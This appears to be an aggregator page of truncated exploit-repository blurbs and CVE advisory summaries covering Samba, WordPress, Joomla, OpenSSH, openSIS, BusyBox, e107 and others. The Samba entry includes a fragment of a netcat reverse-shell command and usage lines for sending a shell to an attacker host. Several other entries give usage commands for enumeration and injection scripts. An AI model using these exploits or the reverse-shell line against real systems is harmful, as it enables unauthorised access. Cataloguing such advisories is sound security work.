CVE-2007-2447

CVE-2007-2447 - Samba 3.0.20 &1|nc 10.0.0.1 4242 /tmp/f Usage Exploit target 10.129.232.46 on port 445, send back reverse shell to 10.10.14.82 on port 443 python3 CVE-2007-2447.py --rhost 10.129.232.46 --lhost 10.10.14.82 With custom rport and lport python3 CVE-2007-2447.py --rhost 10.129.232.46...

wpUsersScan

wpUsersScan About wpUsersScan Enumerate the users list of the wordpress websites through the REST API / CVE-2017-5487,WordPress 4.7.1 - Username Enumeration Usage $ python wpUsersScan.py URL How to install Clone Clone the repository with: $ git clone https://github.com/R3K1NG/wpUsersScan.git $ cd...

CVE-2023-23752

This is a POC for CVE-2023-23752 written in Python that displays username and password information. CVE-2023-23752 Joomla! 4.0.0 4.2.8 Usage = python3 exploit.py The execution of the script is demonstrated in the GIF below:...

CVE-2021-39377

OPENSIS 8.0 SQL INJECTION VULNERABILITY CVE-2021-39377 A SQL Injection vulnerability exists in version 8.0 of openSIS when MySQL MariaDB is being used as the application database. A malicious attacker can issue SQL commands to the Mysql MariaDB database through the vulnerable username= parameter...

CVE-2017-8367

CVE-2017-8367 PoC exploit for vulnerability CVE-2017-8367 Easy Mov Converter Register functionality Stack-Based Buffer Overflow. Usage Execute script and the file POCPayload.txt will be created containing the payload. python3 payloadgeneratorCVE-2017-15950.py Open the output file on notepad and...

wordpress-snapcreek

wordpress-snapcreek snapcreekduplicator file read vulnerability https://www.cvedetails.com/cve/CVE-2020-11738/ Step1: Open MSFconsole: and use wordpressscanner to find all plugins used by target machine. STEP2: Attack using python script: Install/ upgrade pip3 on attacker machine Sudo apt install...

CVE-2018-15473_exploit

CVE-2018-15473 - OPENSSH 7.7 USER ENUMERATION dependency: https://github.com/pyperanger/crypt-curve25519 Fix Patch https://metacpan.org/pod/Net::SSH::Perl References https://seclists.org/oss-sec/2018/q3/125 http://www.openwall.com/lists/oss-security/2018/08/15/5 https://isc.sans.edu/diary/24004...

CVE-2016-6210

CVE-2016-6210 User name enumeration against SSH daemons affected by CVE-2016-6210. Use against your own hosts only! Attacking stuff you are not permitted to may put you in big trouble! INSTALATION Clone the Repository: git clone https://github.com/coolbabayaga/CVE-2016-6210.git cd...

CVE-2026-8794

CVE-2026-8794 — Username Enumeration via Authentication Timing Side-Channel in PaperCut NG Field| Details ---|--- CVE ID| CVE-2026-8794 Product| PaperCut NG Affected Version| 25.0.11 Build 75758 and earlier CWE| CWE-208 — Observable Timing Discrepancy CVSS Score| 3.7 Low — standalone; escalates...

CVE-2026-110925

A flaw was found in OpenSSH. A username entered on the ssh command line can still contain '$' or a non-trailing backslash. When a configuration expands %u inside ProxyCommand or Match exec, those characters are passed into the shell...

CVE-2026-110925 Openssh: openssh: '$' and '\' in a command-line username expand through %u

A flaw was found in OpenSSH. A username entered on the ssh command line can still contain '$' or a non-trailing backslash. When a configuration expands %u inside ProxyCommand or Match exec, those characters are passed into the shell...

CVE-2026-110925 Openssh: openssh: '$' and '\' in a command-line username expand through %u

A flaw was found in OpenSSH. A username entered on the ssh command line can still contain '$' or a non-trailing backslash. When a configuration expands %u inside ProxyCommand or Match exec, those characters are passed into the shell...

CVE-2026-110925

A vulnerability exists in OpenSSH where usernames provided via the ssh command line can contain $ or a non-trailing backslash. When the configuration expands %u within ProxyCommand or Match exec , these characters are passed directly into the shell. This behavior can lead to OS Command Injection ...

UBUNTU-CVE-2026-88834

A flaw was found in BusyBox's httpd web server. When configured with system password authentication, a user existence oracle may exist in certain build configurations. An attacker could distinguish existing from non-existing usernames by observing authentication failure behavior. Impact is limite...

CVE-2026-110925: Improper Neutralization of Special Elements used in an OS Command

A flaw was found in OpenSSH. A username entered on the ssh command line can still contain '$' or a non-trailing backslash. When a configuration expands %u inside ProxyCommand or Match exec, those characters are passed into the shell...

CVE-2026-88834

A flaw was found in BusyBox's httpd web server. When configured with system password authentication, a user existence oracle may exist in certain build configurations. An attacker could distinguish existing from non-existing usernames by observing authentication failure behavior. Impact is limite...

CVE-2026-110768

holaOS through 2026.822.1 contains an authorization bypass vulnerability in the channel-gateway Telegram connector that authorizes senders by mutable username rather than only numeric id. Attackers who register a released username listed in allowFrom can submit turns to the bound workspace agent,...

EUVD-2026-101568

holaOS through 2026.822.1 contains an authorization bypass vulnerability in the channel-gateway Telegram connector that authorizes senders by mutable username rather than only numeric id. Attackers who register a released username listed in allowFrom can submit turns to the bound workspace agent,...

CVE-2026-55572 e107: SQL injection in alt_auth plugin (otherdb / e107db backends) via login username

e107 is a content management system CMS. Prior to 2.3.7, the bundled altauth plugin's otherdb and e107db authentication backends interpolate the submitted login username directly into SQL in e107plugins/altauth/otherdbauth.php and e107plugins/altauth/e107dbauth.php. The login methods execute thos...

CVE-2026-55572 e107: SQL injection in alt_auth plugin (otherdb / e107db backends) via login username

e107 is a content management system CMS. Prior to 2.3.7, the bundled altauth plugin's otherdb and e107db authentication backends interpolate the submitted login username directly into SQL in e107plugins/altauth/otherdbauth.php and e107plugins/altauth/e107dbauth.php. The login methods execute thos...